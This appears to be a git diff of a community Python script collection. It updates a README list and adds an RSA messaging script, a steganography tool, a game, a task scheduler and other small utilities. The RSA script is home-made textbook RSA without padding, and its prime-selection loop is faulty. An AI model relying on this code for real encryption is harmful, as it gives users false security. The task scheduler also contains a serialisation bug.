Kuvadiya](https://github.com/techdobz) | +|[Py_Cleaner](Py_Cleaner) | [Abhishek Dobliyal](https://github.com/Abhishek-Dobliyal)| +|[Python Algebra Solver](Algebra-Solver)|[Sengxay Xayachack](https://github.com/frankxayachack)| +|[RSA Algorithm](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/RSA_Algorithm)|[Chinmay Rane](https://github.com/Chinmayrane16)| +|[RSA Key Pair Generator](RSA-key-pairs) | [Aditya Parikh](https://github.com/obiwan69) | +|[Random Password Generators](Random_Password_Generator)| [Hafpaf](https://github.com/hafpaf) and [Renderer-RCT2](https://github.com/Renderer-RCT2)| +|[Random name generator](Random_Names_Generator)| [Ayush Bhardwaj](https://github.com/hastagAB)| +|[Random_Email_Generator](Random_Email_Generator)|[Shubham Garg](https://github.com/shub-garg)| +|[Remove-Duplicate-Files](Remove-Duplicate-Files)|[Aayushi Varma](https://github.com/aayuv17)| +|[Rock-Paper-Scissor Game](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Rock-Paper-Scissor)|[Punit Sakre](https://github.com/punitsakre23)| +|[send_whatsapp_message](send_whatsapp_message)|[Mukesh Prasad](https://github.com/mukeshprasad)| +|[Send messages to sqs in parallel](send_sqs_messages_in_parallel)|[Jinam Shah](https://github.com/jinamshah)| +|[Server Ping](Ping_Server)|[prince]()| +|[Signature photo to PNG converter](signature2png)|[Rodolfo Ferro](https://github.com/RodolfoFerro)| +|[Simple Webpage Parser](SimpleWebpageParser)|[Nitish Srivastava](https://github.com/nitish-iiitd)| +|[Slideshare downloader](Slideshare-Downloader)|[Chris Goes](https://github.com/GhostofGoes)| |[SMS your location](SmsYourLocation)|[prince]()| -|[Squid installer for Ubuntu](Squid-Proxy-Installer-for-Ubuntu16)|[Berkay Demir]()| -|[Subtitle downloader](Subtitle-downloader)|[Kaushlendra Pratap](https://github.com/kaushl1998)| -|[Take Screenshot](Take_screenshot)|[Moad Mohammed Elhebri](https://github.com/moadmmh)| -|[To Do Bot](To%20Do%20Bot) | [Darshan Patel](https://github.com/DarshanPatel11)| -|[Upload Files to S3](Upload_files_to_s3)|[Jayram Nai](https://github.com/jramnai)| -|[Vinegère Cipher](vigenere_cipher)|[victoni](https://github.com/victoni)| -|[Web proxy](Proxy-Request)|[Nikhil Kumar Singh](https://github.com/nikhilkumarsingh)| -|[Website blocker](Website-Blocker)|[Ayush Bhardwaj](https://github.com/hastagAB)| -|[Word generator](Word-generator)|[TGLIDE](https://github.com/TGlide)| -|[Work log generator](Work_Log_Generator)|[Maël Pedretti](https://github.com/73VW)| -|[Youtube video downloader](Youtube_Video_Downloader)|[Christopher He](https://github.com/hecris)| -|[Zabbix API](zabbix_api)|[msg4sunny](https://github.com/msg4sunny)| -|[Zip password cracker](zip_password_cracker)|[umar abdullahi](https://github.com/umarbrowser)| -|[CLI Calculator](cli_calculator)|[Willian GL](https://github.com/williangl) | -|[Find PhoneNumber in String](Find-PhoneNumber-in-String)|[Austin Zuniga](https://github.com/AustinZuniga)| -|[IMDB TV Series Info Extractor](imdb_episode_ratings)|[Yash Raj Sarrof](https://github.com/yashYRS) | -|[Yoda-speak Translator](speak_like_yoda)|[sonniki](https://github.com/sonniki) | -|[Medium Article Downloader](medium_article_downloader)|[coolsonu39](https://github.com/coolsonu39)| -|[RSA Key Pair Generator](RSA-key-pairs) | [Aditya Parikh](https://github.com/obiwan69) | -|[Clean_up_photo](Clean_up_photo_directory)|[sritanmay001](https://github.com/sritanmy001)| -|[PyRecorder](PyRecorder)|[Rocky Jain](https://github.com/jainrocky)| -|[Pretty CSV](Pretty-CSV)|[Frizz925](https://github.com/Frizz925)| -|[File Organizer](File-Organizer)|[Ayush Bhardwaj](https://github.com/hastagAB)| -|[send_whatsapp_message](send_whatsapp_message)|[Mukesh Prasad](https://github.com/mukeshprasad)| -|[YTS Torrents](yts_torrents)|[Mayank Nader](https://github.com/makkoncept)| -|[COVID visualiser (real-time) ](covdi_visualiser)|[Tushar Gupta](https://github.com/tushar5526)| -|[Random_Email_Generator](Random_Email_Generator)|[Shubham Garg](https://github.com/shub-garg)| -|[WiFi Password Viewer](Wifi-Password)|[Sagar Patel](https://github.com/sagar627)| -|[Tambola_Ticket_Generator](Tambola_Ticket_Generator)|[Amandeep_Singh](https://github.com/Synster)| -| [Py_Cleaner](Py_Cleaner) | [Abhishek Dobliyal](https://github.com/Abhishek-Dobliyal) -|[Send messages to sqs in parallel](send_sqs_messages_in_parallel)|[Jinam Shah](https://github.com/jinamshah)| -|[Codeforces Checker](codeforcesChecker)|[Jinesh Parakh](https://github.com/jineshparakh)| -|[Github repo creator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Git_repo_creator)|[Harish Tiwari ](https://github.com/optimist2309) -|[Remove-Duplicate-Files](Remove-Duplicate-Files)|[Aayushi Varma](https://github.com/aayuv17) -|[PDF2text](PDF2text)|[QuangPH](https://github.com/quangph-1686a) -|[Image Watermarker (batch)](imageWatermarker)|[Remco Halman](https://github.com/remcohalman) -|[Folder Manager](Folder_Manager)|[Harsh Raj](https://github.com/DeadProgrammer0)| -|[IMDBQuerier](IMDBQuerier)|[Burak Bekci](https://github.com/Bekci) -|[URL shortener](url_shortener)|[Sam Ebison](https://github.com/ebsa491) - - -## How to use : - +|[Spotify Downloader](spotify_downloader)|[Sagar Patel](https://github.com/sagar627)| +|[Squid installer for Ubuntu](Squid-Proxy-Installer-for-Ubuntu16)|[Berkay Demir]()| | +|[SSH Host adder](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/SSH_Host_Adder)|[NinoDoko](https://github.com/NinoDoko)| +|[Steg_Tool](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Steg_Tool/)|[Shankar JP](https://github.com/shankarjp)| +|[sudoku-solver](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/sudoku-solver) | [Rishabh Umrao](https://github.com/ayedaemon) | +|[Subtitle downloader](Subtitle-downloader)|[Kaushlendra Pratap](https://github.com/kaushl1998)| +|[TTS - Text to Speech Mp3](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/TTS_Text_to_Speech_Mp3)|[Antonio Andrade](https://github.com/xAndrade)| +|[Take Screenshot](Take_screenshot)|[Moad Mohammed Elhebri](https://github.com/moadmmh)| +|[Tambola_Ticket_Generator](Tambola_Ticket_Generator)|[Amandeep_Singh](https://github.com/Synster)| +|[Test Your Internet Speed](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/TestMyInternetSpeed)|[TheSmartDeveloperr](https://github.com/thesmartdeveloperr)| +|[TicTacToe AI and 2 players](https://github.com/ShadowHunter15/Awesome-Python-Scripts/tree/master/TicTacToe_AI_and_2_players) | [Omar Sameh](https://github.com/ShadowHunter15) | +|[To Do Bot](To%20Do%20Bot) | [Darshan Patel](https://github.com/DarshanPatel11)| +|[Top_News](Top_News)|[Attupatil](https://github.com/Attupatil)| +|[Translate CLI](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/TranslateCLI)|[Rodrigo Oliveira](https://github.com/rodrigocam)| +|[URL shortener](url_shortener)|[Sam Ebison](https://github.com/ebsa491)| +|[Upload Files to S3](Upload_files_to_s3)|[Jayram Nai](https://github.com/jramnai)| +|[Vinegère Cipher](vigenere_cipher)|[victoni](https://github.com/victoni)| +|[Web proxy](Proxy-Request)|[Nikhil Kumar Singh](https://github.com/nikhilkumarsingh)| +|[Website Url Detector](Website_Url_Detector)|[sonniki](https://github.com/sonniki)| +|[Website blocker](Website-Blocker)|[Ayush Bhardwaj](https://github.com/hastagAB)| +|[WiFi Password Viewer](Wifi-Password)|[Sagar Patel](https://github.com/sagar627)| +|[Wikipedia-Search](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Wikipedia-Search)|[Nissaar](https://github.com/Nissaar) | +|[Word Frequency Counter](Word_Frequency_Counter)|[sonniki](https://github.com/sonniki)| +|[Word generator](Word-generator)|[TGLIDE](https://github.com/TGlide)| +|[Work log generator](Work_Log_Generator)|[Maël Pedretti](https://github.com/73VW)| +|[X Scrapper](X_Scrapper)|[Shreeram](https://github.com/iamshreeram)| +|[YTS Torrents](yts_torrents)|[Mayank Nader](https://github.com/makkoncept)| +|[Yoda-speak Translator](speak_like_yoda)|[sonniki](https://github.com/sonniki) | +|[Youtube video downloader](Youtube_Video_Downloader)|[Christopher He](https://github.com/hecris)| +|[Zabbix API](zabbix_api)|[msg4sunny](https://github.com/msg4sunny)| +|[Zip password cracker](zip_password_cracker)|[umar abdullahi](https://github.com/umarbrowser)| +|[Task Scheduler](Task-Scheduler)|[heysagnik](https://github.com/heysagnik)| +|[PDF Password Decypter](PDF_Password_Decrypter)|[parthasdey2304](https://github.com/parthasdey2304)| +|[Password Strength Checker](Password_Strength-checker)|[Parveshiiii](https://github.com/Parveshiiii)| +|[QR Code Generator](QR-code-generator)|[Parveshiiii](https://github.com/Parveshiiii)| + +## How to use: - Clone/Download the directory and navigate to each folder. Or... - Simply navigate to the folder and download/copy the scripts! It's *that* simple and easy. - Setup virtual environment for that scripts: @@ -178,7 +175,9 @@ So far, the following projects have been integrated to this repo: Remember to star the repo if you love the scripts~ :wink: -## Contribution Guidelines : +## Contribution Guidelines: + +### Steps required to follow before adding any script - Make a **separate folder** for your script. - There shouldn't be any **spaces** between the names of the script. (Use underscore or dash Symbol) - :x: Script One @@ -197,18 +196,20 @@ Remember to star the repo if you love the scripts~ :wink: - `source env\bin\activate` - `pip freeze > requirements.txt` -- Please add your script in the [project's list](https://github.com/hastagAB/Awesome-Python-Scripts#what-do-we-have) above. +- Add your name & script in the [project's list](https://github.com/hastagAB/Awesome-Python-Scripts#what-do-we-have) above in the same format. [Compulsory] - Only One Commit per PR is Adviced. # If you like the project: -- Star the Repo - [Awesome Python Scripts](https://github.com/hastagAB/Awesome-Python-Scripts) -- Follow me on GitHub - [Ayush Bhardwaj](https://github.com/hastagAB) - -# Want to connect with me ? -- [LinkedIn](https://www.linkedin.com/in/hastagab/) -- [Twitter](https://twitter.com/HastagAB) -- [Facebook](https://www.facebook.com/SirHastagAB) -- [Quora](https://www.quora.com/profile/Ayush-Bhardwaj-76) +- **Star this Repo - [Awesome Python Scripts](https://github.com/hastagAB/Awesome-Python-Scripts)** + +- **Follow me on GitHub - [Ayush Bhardwaj](https://github.com/hastagAB)** + +## Want to Connect with Me? +[Linkedin](https://www.linkedin.com/in/hastagab/) +[X/Twitter](https://twitter.com/HastagAB) +[Facebook](https://www.facebook.com/SirHastagAB) +[Instagram](https://www.instagram.com/sirhastagab/) + [![](https://img.shields.io/badge/Made%20With%20❤️%20By-HastagAB-red)](https://github.com/hastagAB) diff --git a/RSA_Communication/README.md b/RSA_Communication/README.md new file mode 100644 index 00000000..9120737b --- /dev/null +++ b/RSA_Communication/README.md @@ -0,0 +1,18 @@ +# RSA Communication Script + +## How to use +To use this script you may first open the script :p +It will take some time, it will generate two BIG prime numbers, and that takes some time. + +After it finnishes calculating your keypair, it will print it and ask you if you want to encrypt or decrypt a message. + +--- + +If you want to encrypt, you write "e" and then press enter. The script will ask you for a key (keypair) to encrypt your message, and here you paste the keypair of your correspondant +(the string that shows up at his/her script start). +After you paste the keypair you will write your message, and when you press enter the encrypted message will be printed. + +--- + +If you want to decrypt a message, you write "d" and the press enter. Then the script will ask you for the message to decrypt, wich you are going to paste and press enter. +After you press enter the decrypted message will be displayed :) diff --git a/RSA_Communication/RSA.py b/RSA_Communication/RSA.py new file mode 100644 index 00000000..71813d20 --- /dev/null +++ b/RSA_Communication/RSA.py @@ -0,0 +1,158 @@ +#Modulus (N) bit length, k. +#OUTPUT: An RSA key pair ((N,e),d) where N is the modulus, the product of two primes (N=pq) not exceeding k bits in length; +# e is the public exponent, a number less than and coprime to (p−1)(q−1); +# and d is the private exponent such that e*d ≡ 1 mod (p−1)*(q−1). +############################################################## +#Select a value of e from 3,5,17,257,65537 (easy operations) +# while p mod e = 1 +# p = genprime(k/2) +# +# while q mode e = 1: +# q = genprime(k - k/2) +# +#N = p*q +#L = (p-1)(q-1) +#d = modinv(e, L) +#return (N,e,d) + +from random import randrange, getrandbits +import base64 + +class rsa(): + + def __init__(self, e=4, k=5): + self.e = [3, 5, 17, 257, 65537][e] + self.k = [128, 256, 1024, 2048, 3072, 4096][k] + + def is_prime(self, n, tests=128): + if n == 2 or n == 3: + return True + if n <= 1 or n % 2 == 0: + return False + s = 0 + r = n - 1 + while r & 1 == 0: + s += 1 + r //= 2 + for _ in range(tests): + a = randrange(2, n - 1) + x = pow(a, r, n) + if x != 1 and x != n - 1: + j = 1 + while j < s and x != n - 1: + x = pow(x, 2, n) + if x == 1: + return False + j += 1 + if x != n - 1: + return False + return True + + def genprime(self, length=1024): + p = 1 + while len(bin(p))-2 != length: + p = list(bin(getrandbits(length))) + p = int(''.join(p[0:2] + ['1', '1'] + p[4:]), 2) + p += 1 if p % 2 == 0 else 0 + + ip = self.is_prime(p) + while not ip: + p += 2 + ip = self.is_prime(p) + + return p + + def egcd(self, a, b): + if a == 0: + return (b, 0, 1) + else: + g, y, x = self.egcd(b % a, a) + return (g, x - (b // a) * y, y) + + def modinv(self, a, m): + g, x, y = self.egcd(a, m) + if g != 1: + raise Exception('modular inverse does not exist') + else: + return x % m + + def get_creds(self, e, k): + N = 0 + while len(bin(int(N)))-2 != k: + p = self.genprime(int(k/2)) + while pow(p, 1, e) == 1: + p = self.genprime(int(k/2)) + q = self.genprime(k - int(k/2)) + while pow(q, 1, e) == 1 and q == p: + q = self.genprime(k - int(k/2)) + N = p*q + L = (p-1)*(q-1) + d = self.modinv(e, L) + return p, q, (d, e, N) + + def get_keys(self): + p, q, creds = self.get_creds(self.e, self.k) + return creds + + def save_keys(self, filename="keys.k"): + keys = self.get_keys() + with open(filename, "w", encoding="utf-8") as file: + file.write(str(keys[0]) + "\n" + str(keys[1]) + "\n" + str(keys[2])) + + def load_keys(self, filename="keys.k"): + with open(filename, "r", encoding="utf-8") as file: + f = file.read().split("\n") + d = int(f[0]) + e = int(f[1]) + n = int(f[2]) + return (d, e, n) + + def encrypt(self, ke, plaintext): + key, n = ke + b64_string = base64.b64encode(plaintext.encode("utf-8")).decode("utf-8") + ready_code = [] + for char in list(b64_string): + ready_code.append('0' * (3 - len(str(ord(char)))) + str(ord(char))) + ready_code = int("1" + "".join(ready_code)) + cipher = pow(ready_code, key, n) + return cipher + + def decrypt(self, kd, ciphertext): + key, n = kd + plain_list = list(str(pow(ciphertext, key, n)))[1:] + plain = [] + count = 1 + temp = "" + for i in plain_list: + if count != 4: + temp += i + count += 1 + else: + plain.append(temp) + temp = i + count = 2 + plain.append(temp) + plain_list = plain + plain = base64.b64decode(''.join([chr(int(char)) for char in plain_list])).decode("utf-8") + return plain + +encryption = rsa() +keys = encryption.get_keys() + +d = keys[0] +e = keys[1] +n = keys[2] + +print("key: \n" + str(e) + "/" + str(n)) + +while True: + choose = input("Encrypt (e)/ Decrypt (d) > ") + if choose == "e": + e, n = input("insert key > ").split("/") + to_encrypt = input("message to encrypt > ") + a = encryption.encrypt((int(e), int(n)), to_encrypt) + print(a) + elif choose == "d": + to_decrypt = input("message to decrypt > ") + a = encryption.decrypt((d, n), to_decrypt) + print(a) diff --git a/Rock-Paper-Scissor/README.md b/Rock-Paper-Scissor/README.md new file mode 100644 index 00000000..fb34acae --- /dev/null +++ b/Rock-Paper-Scissor/README.md @@ -0,0 +1,13 @@ +# Python Rock-Paper-Scissor GAME + +The Python script shows the easy to understand and executable program which is used to play the rock-paper-scissor game with scorecard and wish to start or exit. + +## Requirement + +Python 3.xx + +## Running the script + +```bash +python Rock-Paper-Scissor.py +``` diff --git a/Rock-Paper-Scissor/Rock-Paper-Scissor.py b/Rock-Paper-Scissor/Rock-Paper-Scissor.py new file mode 100644 index 00000000..8e15c579 --- /dev/null +++ b/Rock-Paper-Scissor/Rock-Paper-Scissor.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python +# coding: utf-8 + +# In[1]: + + +import random + + +def takePlayerInput(): + player = "blank" + while not (player.lower() == "r" or player.lower() == "p" or player.lower() == "s"): + player = input("Please Enter your input out of - R | P | S = ") + return player.lower() + + +# In[2]: + + +takePlayerInput() + + +# In[3]: + + +def getBotInput(): + lst = ["r", "s", "p"] + return random.choice(lst) + + +# In[4]: + +getBotInput() + + +# In[5]: + + +def checkWinner(player, bot): + if player == "r" and bot == "r": + return "Draw" + elif player == "r" and bot == "p": + return "Bot" + elif player == "r" and bot == "s": + return "Player" + elif player == "p" and bot == "p": + return "Draw" + elif player == "p" and bot == "r": + return "Player" + elif player == "p" and bot == "s": + return "Bot" + elif player == "s" and bot == "s": + return "Draw" + elif player == "s" and bot == "p": + return "Player" + elif player == "s" and bot == "r": + return "Bot" + else: + return "DRAW" + + +# In[6]: + + +checkWinner("s", "p") + + +# In[7]: + + +def rockPaperScissor(): + endTheGame = "n" + player_score = 0 + bot_score = 0 + while endTheGame.lower() != "y": + ply = takePlayerInput() + bt = getBotInput() + print("Bot Entered -", bt) + winner = checkWinner(player=ply, bot=bt) + print("Winner is - ", winner) + if winner == "Player": + player_score += 2 + elif winner == "Bot": + bot_score += 2 + else: + player_score += 1 + bot_score += 1 + + print("-----Score Board-----") + print("-----Player-----", player_score) + print("-----Bot-----", bot_score) + print(" ") + endTheGame = input("You want to end Y/N - ") + + +# In[8]: + + +rockPaperScissor() + + +# In[ ]: diff --git a/Steg_Tool/README.md b/Steg_Tool/README.md new file mode 100644 index 00000000..2d52cb5c --- /dev/null +++ b/Steg_Tool/README.md @@ -0,0 +1,21 @@ +# Steganography Tool + +* Advanced Image Steganography Tool used to hide files inside Images. +* Uses LSB (Least Significant Bit) Algorithm to store file data inside the image +* Works with only .png format + +Commands +``` +python3 steg.py +``` +Input +``` +encode + +decode +``` +Example +``` +encode image.png image_new.png secret.txt +decode image_new.png secret_new.txt +``` \ No newline at end of file diff --git a/Steg_Tool/image.png b/Steg_Tool/image.png new file mode 100644 index 00000000..df25ec4e Binary files /dev/null and b/Steg_Tool/image.png differ diff --git a/Steg_Tool/secret.txt b/Steg_Tool/secret.txt new file mode 100644 index 00000000..536aca34 --- /dev/null +++ b/Steg_Tool/secret.txt @@ -0,0 +1 @@ +secret \ No newline at end of file diff --git a/Steg_Tool/steg.py b/Steg_Tool/steg.py new file mode 100644 index 00000000..f733f645 --- /dev/null +++ b/Steg_Tool/steg.py @@ -0,0 +1,174 @@ +#Image Stego using LSB +import cv2 + +def encode(input_image_name, output_image_name, file_name): + input_image = cv2.imread(input_image_name) + + height, width, nbchannels = input_image.shape + size = width*height + current_width = 0 + current_height = 0 + current_channel = 0 + + maskonevalues = [1, 2, 4, 8, 16, 32, 64, 128] + maskone = maskonevalues.pop(0) + maskzerovalues = [254, 253, 251, 247, 239, 223, 191, 127] + maskzero = maskzerovalues.pop(0) + + data = open(file_name, "rb").read() + length = len(data) + if(width*height*nbchannels < length + 64): + raise Exception("Not enough space to hold all steganographic data") + binary_value = bin(length)[2:] + if(len(binary_value) > 64): + raise Exception("Binary Value larger than expected") + else: + while(len(binary_value) < 64): + binary_value = "0" + binary_value + for c in binary_value: + value = list(input_image[current_height, current_width]) + if(int(c) == 1): + value[current_channel] = int(value[current_channel]) | maskone + else: + value[current_channel] = int(value[current_channel]) & maskzero + input_image[current_height, current_width] = tuple(value) + if(current_channel == nbchannels-1): + current_channel = 0 + if(current_width == width-1): + current_width = 0 + if(current_height == height-1): + current_height = 0 + if maskone == 128: + raise Exception("No more space available in image") + else: + maskone = maskonevalues.pop(0) + maskzero = maskzerovalues.pop(0) + else: + current_height += 1 + else: + current_width += 1 + else: + current_channel += 1 + for byte in data: + if(isinstance(byte, int)): + pass + else: + byte = ord(byte) + binv = bin(byte)[2:] + if(len(binv) > 8): + raise Exception("Binary Value larger than expected") + else: + while(len(binv) < 8): + binv = "0" + binv + for c in binv: + val = list(input_image[current_height, current_width]) + if(int(c) == 1): + val[current_channel] = int(val[current_channel]) | maskone + else: + val[current_channel] = int(val[current_channel]) & maskzero + input_image[current_height, current_width] = tuple(val) + if(current_channel == nbchannels-1): + current_channel = 0 + if(current_width == width-1): + current_width = 0 + if(current_height == height-1): + current_height = 0 + if maskone == 128: + raise Exception("No more space available in image") + else: + maskone = maskonevalues.pop(0) + maskzero = maskzerovalues.pop(0) + else: + current_height += 1 + else: + current_width += 1 + else: + current_channel += 1 + cv2.imwrite(output_image_name, input_image) + + +def decode(encoded_image_name, extracted_file_name): + encoded_image = cv2.imread(encoded_image_name) + + height, width, nbchannels = encoded_image.shape + size = width*height + current_width = 0 + current_height = 0 + current_channel = 0 + + maskonevalues = [1, 2, 4, 8, 16, 32, 64, 128] + maskone = maskonevalues.pop(0) + maskzerovalues = [254, 253, 251, 247, 239, 223, 191, 127] + maskzero = maskzerovalues.pop(0) + + bits = "" + for i in range(64): + value = encoded_image[current_height, current_width][current_channel] + value = int(value) & maskone + if(current_channel == nbchannels-1): + current_channel = 0 + if(current_width == width-1): + current_width = 0 + if(current_height == height-1): + current_height = 0 + if(maskone == 128): + raise Exception("No more space available in image") + else: + maskone = maskonevalues.pop(0) + maskzero = maskzerovalues.pop(0) + else: + current_height += 1 + else: + current_width += 1 + else: + current_channel += 1 + if(value > 0): + bits += "1" + else: + bits += "0" + length = int(bits, 2) + output = b"" + for i in range(length): + bits = "" + for i in range(8): + value = encoded_image[current_height, current_width][current_channel] + value = int(value) & maskone + if(current_channel == nbchannels-1): + current_channel = 0 + if(current_width == width-1): + current_width = 0 + if(current_height == height-1): + current_height = 0 + if(maskone == 128): + raise Exception("No more space available in image") + else: + maskone = maskonevalues.pop(0) + maskzero = maskzerovalues.pop(0) + else: + current_height += 1 + else: + current_width += 1 + else: + current_channel += 1 + if(value > 0): + bits += "1" + else: + bits += "0" + output += bytearray([int(bits, 2)]) + f = open(extracted_file_name, "wb") + f.write(output) + f.close() + +if __name__ == "__main__": + input_string = input() + #encode input_image_name output_image_name file_name + #decode encoded_image_name extracted_file_name + input_list = input_string.split() + if input_list[0] == "encode": + encode(input_list[1], input_list[2], input_list[3]) + print(f"{input_list[2]}") + elif input_list[0] == "decode": + decode(input_list[1], input_list[2]) + print(f"{input_list[2]}") + else: + print("Invalid Entry") diff --git a/TTS_Text_to_Speech_Mp3/README.md b/TTS_Text_to_Speech_Mp3/README.md new file mode 100644 index 00000000..2090b69a --- /dev/null +++ b/TTS_Text_to_Speech_Mp3/README.md @@ -0,0 +1,20 @@ +# TTS - Text to Speech Mp3 + +Write spoken mp3 data to a file, a file-like object (bytestring) for further audio manipulation, or stdout. +This example uses the Python library [gTTS](https://pypi.org/project/gTTS/) (Google Text-to-Speech), to interface with Google Translate's text-to-speech API. + +## Installation + +``$ pip install requirements.txt`` + +## Quickstart + +``` +>>> from gtts import gTTS +>>> tts = gTTS('hello') +>>> tts.save('hello.mp3') +``` + +## Disclaimer + +[gTTS](https://pypi.org/project/gTTS/) project is not affiliated with Google or Google Cloud. Breaking upstream changes can occur without notice. This project is leveraging the undocumented Google Translate speech functionality and is different from Google Cloud Text-to-Speech. diff --git a/TTS_Text_to_Speech_Mp3/requirements.txt b/TTS_Text_to_Speech_Mp3/requirements.txt new file mode 100644 index 00000000..458b2d67 --- /dev/null +++ b/TTS_Text_to_Speech_Mp3/requirements.txt @@ -0,0 +1 @@ +gTTS diff --git a/TTS_Text_to_Speech_Mp3/run.py b/TTS_Text_to_Speech_Mp3/run.py new file mode 100644 index 00000000..715dcf72 --- /dev/null +++ b/TTS_Text_to_Speech_Mp3/run.py @@ -0,0 +1,8 @@ +from gtts import gTTS + +def main(): + tts = gTTS('hello') + tts.save('hello.mp3') + +if __name__ == "__main__": + main() diff --git a/Tambola_Ticket_Generator/requirements.txt b/Tambola_Ticket_Generator/requirements.txt index 20ee768f..19b51bf5 100644 --- a/Tambola_Ticket_Generator/requirements.txt +++ b/Tambola_Ticket_Generator/requirements.txt @@ -1,2 +1,2 @@ -numpy==1.19.2 +numpy==1.22.0 tabulate==0.8.7 diff --git a/Task-Scheduler/Readme.md b/Task-Scheduler/Readme.md new file mode 100644 index 00000000..9ceeecbd --- /dev/null +++ b/Task-Scheduler/Readme.md @@ -0,0 +1,85 @@ +# Task Scheduler + +This Python script, `task_scheduler.py`, is a simple command-line task management application that allows users to add, view, and delete tasks with due dates. The application stores task data in a JSON file. + +## How to Use + +1. **Installation**: + + - Make sure you have Python installed on your system. + +2. **Run the Application**: + + - Open a terminal or command prompt. + - Navigate to the directory where `task_scheduler.py` is located. + + ``` + $ cd /path/to/directory + ``` + + - Run the script: + + ``` + $ python task_scheduler.py + ``` + +3. **Menu Options**: + + - The application provides the following menu options: + + - **Add Task**: Allows you to add a new task with a name and due date (in YYYY-MM-DD format). + + - **View Tasks**: Displays a list of tasks with their names and due dates. + + - **Delete Task**: Lets you delete a task by specifying its number in the list. + + - **Quit**: Exits the application. + +4. **Data Storage**: + + - The tasks are stored in a JSON file named `tasks.json` in the same directory as the script. + +5. **Error Handling**: + + - The application handles various errors, such as invalid date format or task numbers. + +## Example Usage + +1. **Add Task**: + + - Choose option 1. + - Enter a task name. + - Enter the due date in YYYY-MM-DD format. + +2. **View Tasks**: + + - Choose option 2 to see a list of added tasks with their due dates. + +3. **Delete Task**: + + - Choose option 3. + - Enter the number of the task you want to delete. + +4. **Quit**: + + - Choose option 4 to exit the application. + +## Data Persistence + +The application loads tasks from the `tasks.json` file when it starts and saves tasks back to the file after any additions or deletions. This ensures that your tasks are retained even when the application is closed and reopened. + +## Error Handling + +The application checks for invalid date formats and incorrect task numbers, providing appropriate error messages to guide the user. + +## Important Notes + +- Please ensure that you have Python installed on your system. +- Make sure to provide dates in the specified format (YYYY-MM-DD). +- Be cautious when deleting tasks, as this action is irreversible. + +## Author + +This Python Task Scheduler was created by Sagnik Sahoo. + +Feel free to customize and extend this application to suit your needs. Enjoy managing your tasks! diff --git a/Task-Scheduler/requirements.txt b/Task-Scheduler/requirements.txt new file mode 100644 index 00000000..7529c030 --- /dev/null +++ b/Task-Scheduler/requirements.txt @@ -0,0 +1 @@ +pytz==2021.3 diff --git a/Task-Scheduler/scheduler.py b/Task-Scheduler/scheduler.py new file mode 100644 index 00000000..2538fa46 --- /dev/null +++ b/Task-Scheduler/scheduler.py @@ -0,0 +1,74 @@ +import json +import os +import datetime + +# Define the data file to store tasks +TASKS_FILE = "tasks.json" + +# Load tasks from the data file (if it exists) +tasks = [] + +if os.path.exists(TASKS_FILE): + with open(TASKS_FILE, "r") as file: + tasks = json.load(file) + +def save_tasks(): + # Save tasks to the data file + with open(TASKS_FILE, "w") as file: + json.dump(tasks, file) + +def add_task(): + task_name = input("Enter the task name: ") + due_date = input("Enter the due date (YYYY-MM-DD): ") + + try: + due_date = datetime.datetime.strptime(due_date, "%Y-%m-%d").date() + except ValueError: + print("Invalid date format. Please use YYYY-MM-DD.") + return + + tasks.append({"name": task_name, "due_date": due_date}) + save_tasks() + print(f"Task '{task_name}' added successfully!") + +def view_tasks(): + print("Tasks:") + for idx, task in enumerate(tasks, start=1): + print(f"{idx}. {task['name']} (Due: {task['due_date']})") + +def delete_task(): + view_tasks() + task_index = input("Enter the task number to delete: ") + + try: + task_index = int(task_index) + if 1 <= task_index <= len(tasks): + deleted_task = tasks.pop(task_index - 1) + save_tasks() + print(f"Task '{deleted_task['name']}' deleted successfully!") + else: + print("Invalid task number.") + except ValueError: + print("Invalid input. Please enter a valid task number.") + +while True: + print("\nTask Scheduler Menu:") + print("1. Add Task") + print("2. View Tasks") + print("3. Delete Task") + print("4. Quit") + + choice = input("Enter your choice: ") + + if choice == "1": + add_task() + elif choice == "2": + view_tasks() + elif choice == "3": + delete_task() + elif choice == "4": + break + else: + print("Invalid choice. Please choose a valid option.") + +print("Goodbye!") diff --git a/TestMyInternetSpeed/README.md b/TestMyInternetSpeed/README.md new file mode 100644 index 00000000..007c9e66 --- /dev/null +++ b/TestMyInternetSpeed/README.md @@ -0,0 +1,20 @@ +## Test Your Internet Speed using Python +speedtest image + +This is a simple but powerful and efficient python program. +You can test your internet bandwidth speed with this script i wrote using just a single command, you will also get a bunch of good options to choose from and the test will be performed with the help of speedtest-cli module in python. + +- Test Download Speed +- Test Upload Speed +- Test Server Pings +- Results in Mbps(Mega bits per second) + +#### How to use + +- Clone the repo or download the zip +- Navigate to the folder of the program in terminal/cmd. +- Install the dependencies using pip install -r requirements.txt +- Run the command python TestMySpeed.py + +(Note: You will need to have python 3 installed and if you are on a unix based OS (macOS, or linux) you may need to run the command using python3 TestMySpeed.py) diff --git a/TestMyInternetSpeed/TestMySpeed.py b/TestMyInternetSpeed/TestMySpeed.py new file mode 100644 index 00000000..0ce8c13d --- /dev/null +++ b/TestMyInternetSpeed/TestMySpeed.py @@ -0,0 +1,43 @@ + +# the package used is speedtest-cli(it is the only package we need) +import speedtest +from time import sleep +speed=speedtest.Speedtest() + +option=int(input(''' +What do you want to know: +1) Download speed +2) Upload speed +3) Both Download and Upload +4) Ping +Your choice: ''')) + +if option<1 or option>4: + sleep(2) + print('You have entered wrong choice, please enter again with values from 1 to 4') +else: + sleep(1) + print() + print('Pls wait, test in progress...') + print() + down_speed=round(speed.download()/1000000,3) + up_speed=round(speed.upload()/1000000,3) + print('One more sec please...') + sleep(2.5) + print() + if option == 1: + print('Your Download speed is: ',down_speed,'Mbps') + elif option == 2: + print('Your Upload speed is: ',up_speed,'Mbps') + elif option == 3: + print('Your Download speed is: ',down_speed,'Mbps',end=" ") + print(',and your Upload speed is: ',up_speed,'Mbps') + + elif option == 4: + s=[] + speed.get_servers(s) + print(speed.results.ping,'ms') + else: + print('Sorry, something went wrong, pls try again...') + + diff --git a/TestMyInternetSpeed/requirements.txt b/TestMyInternetSpeed/requirements.txt new file mode 